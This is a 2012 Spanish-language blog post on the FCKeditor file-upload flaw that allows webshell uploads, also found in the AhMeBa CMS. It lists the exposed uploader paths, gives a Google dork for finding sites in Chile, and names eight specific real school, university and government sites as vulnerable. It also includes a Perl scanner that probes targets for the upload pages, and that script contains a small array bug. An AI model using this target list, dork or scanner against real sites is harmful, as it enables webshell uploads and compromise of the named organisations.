sábado, 8 de septiembre de 2012

Fckeditor everywhere + AhMeBa CMS shell upload vulnerabilty




La verdad la vulnerabilidad shell upload/arbitrary File upload  que esta asociada a Fckeditor es bastante antigua y conocida. Pero no por esto no sigue activa y dando vueltas por ahi , la verdad basta con dorkear muchas veces para darse cuenta que se puede encontrar con rapidez. Más aun exploits para subir shells por distintos métodos ya son parte de los muchos resultados al buscar en google. -> exploit-db.com


Pero aún sabiendo esto: ocurre lo siguiente:

+Sitios siguen mantieniendo libre acceso a la ruta completa de facil acceso ya que se puede navegar por sus directorios y finalmente es cosa de un par de clicks el llegar a destino.

+ Sitios mantienen libre acceso a la ruta final, "complicando" un poco más las cosas ya que no se puede navegar por sus directorios, pero es cosa de dar con la ruta ya que lo que varia según el sitio es el comienzo nada mas de la ruta no asi lo demas que se mantiene Casi invariable.


+ Aun al momento de construir un sitio piensan en esta alternativa sin siquiera saber lo que produce.

Esta demas decir que los paths en cuestión son:

+
../../fckeditor/fckeditor/editor/filemanager/connectors/test.html
+../../fckeditor/editor/filemanager/connectors/uploadtest.html
+../../fckeditor/editor/filemanager/upload/test.html
+../../fckeditor/editor/filemanager/browser/default/connectors/test.html
+../../fckeditor/fckeditor/editor/filemanager/connectors/uploadtest.html

y otras variables no?

En fin hagamos una busca rapida: OJO RAPIDA!:



inurl:/fckeditor/ site:cl   #No todos son vulnerables, existen algunos que no permiten el acceso al uploader ;)

Unos ejemplos de sitios vulnerables?:

+http://www.huelquen.cl/
+http://www.cdslastarria.cl/
+http://colegioaconcagua.cl/
+http://www.desarrollo.ubo.cl/
+http://agroecologia.cl/
+http://educacion.usach.cl/
+http://www.cdselvergel.cl/
+http://www.lme.gob.cl/

y muchos mas, HEY de verdad muchos mas..







+ Nuevos CMS tambien han incluido esta caracteristica de forma incorrecta como el AhMeBa Profesional de la Empresa Macronia.
osvdb.org/ http://packetstormsecurity.org

Los nuevos proyectos y sitios que han desarrollado, basta con encontrar un sitio desarrollado por ellos y ingresar directamente al directorio completo y listo.


Una pequeño script para encontrar las posibles rutas en perl es el siguiente Economiza tiempo.

#!/usr/bin/perl 
# Coded by shinee_
# email: reportes.vulns@hotmail.com
# site: blog.xshinee.cl
# Fckeditor.

use LWP::UserAgent;


if (!$ARGV[0]) {

print q (

##############################################
#         fckeditor Search scan         #
#                                            #
# Su uso es de esta manera:                  #
#                                            #
#  perl searchfck.pl www.objetivo.com   #
##############################################

);

exit 1;

}

print q (

############################################
# Fckeditor Arbitrary Upload Vulnerability #
##              Scanner                    #
# Search for /connectors/test.html         #
#            /connectors/uploadtest.html   #
##                                         #
#                                          #
############################################

);

$target = $ARGV[0];
if($target !~ /http:\/\//) { $target = "http://$target"; };

print("\n [x] Analizando: $target \n");

@rutas=('FCKeditor/editor/filemanager/connectors/uploadtest.html',
'FCkeditor/editor/filemanager/connectors/test.html',
'html/js/editor/fckeditor/editor/filemanager/connectors/test.html',
'html/js/editor/fckeditor/editor/filemanager/connectors/uploadtest.html',
'fckeditor/fckeditor/editor/filemanager/connectors/test.html'.
'fckeditor/editor/filemanager/upload/test.html'.
'fckeditor/editor/filemanager/browser/default/connectors/test.html');

foreach $finder( @rutas) {
 $buscador = LWP::UserAgent->new() or die;
 $busqueda = $buscador->get($target."/".$finder);

 if ($busqueda->content =~ /File Upload/ || $busqueda->content =~ /Connector:/ || $busqueda->content =~ /test/ ||
  $busqueda->content =~ /Get Folders/ || $busqueda->content =~ /Browser/ ||
  $busqueda->content =~ /Upload/ || $busqueda->content =~ /Resource Type/ ) 
{
  print("\n [+] Encontrado: $target/$finder \n\a");

 } else { 
           print("\n [x] Objetivo: $target No vulnerable :(\n\a");
}
}
exit 1;


Lo que hace es buscar los posibles directorios , y tratar de hacer un match. es un codigo simple y básico , hasta un poco desordenado, pero fue mi primer codigo en perl y le tengo cariño jajajaja.

En conclusion, es algo vieja pero sigue activa,  y aun peor se sigue desarrollando con su implementacion de forma erronea
permite obtener rapidamente un webshell o subir un archivo de forma arbitraria-

No hay comentarios: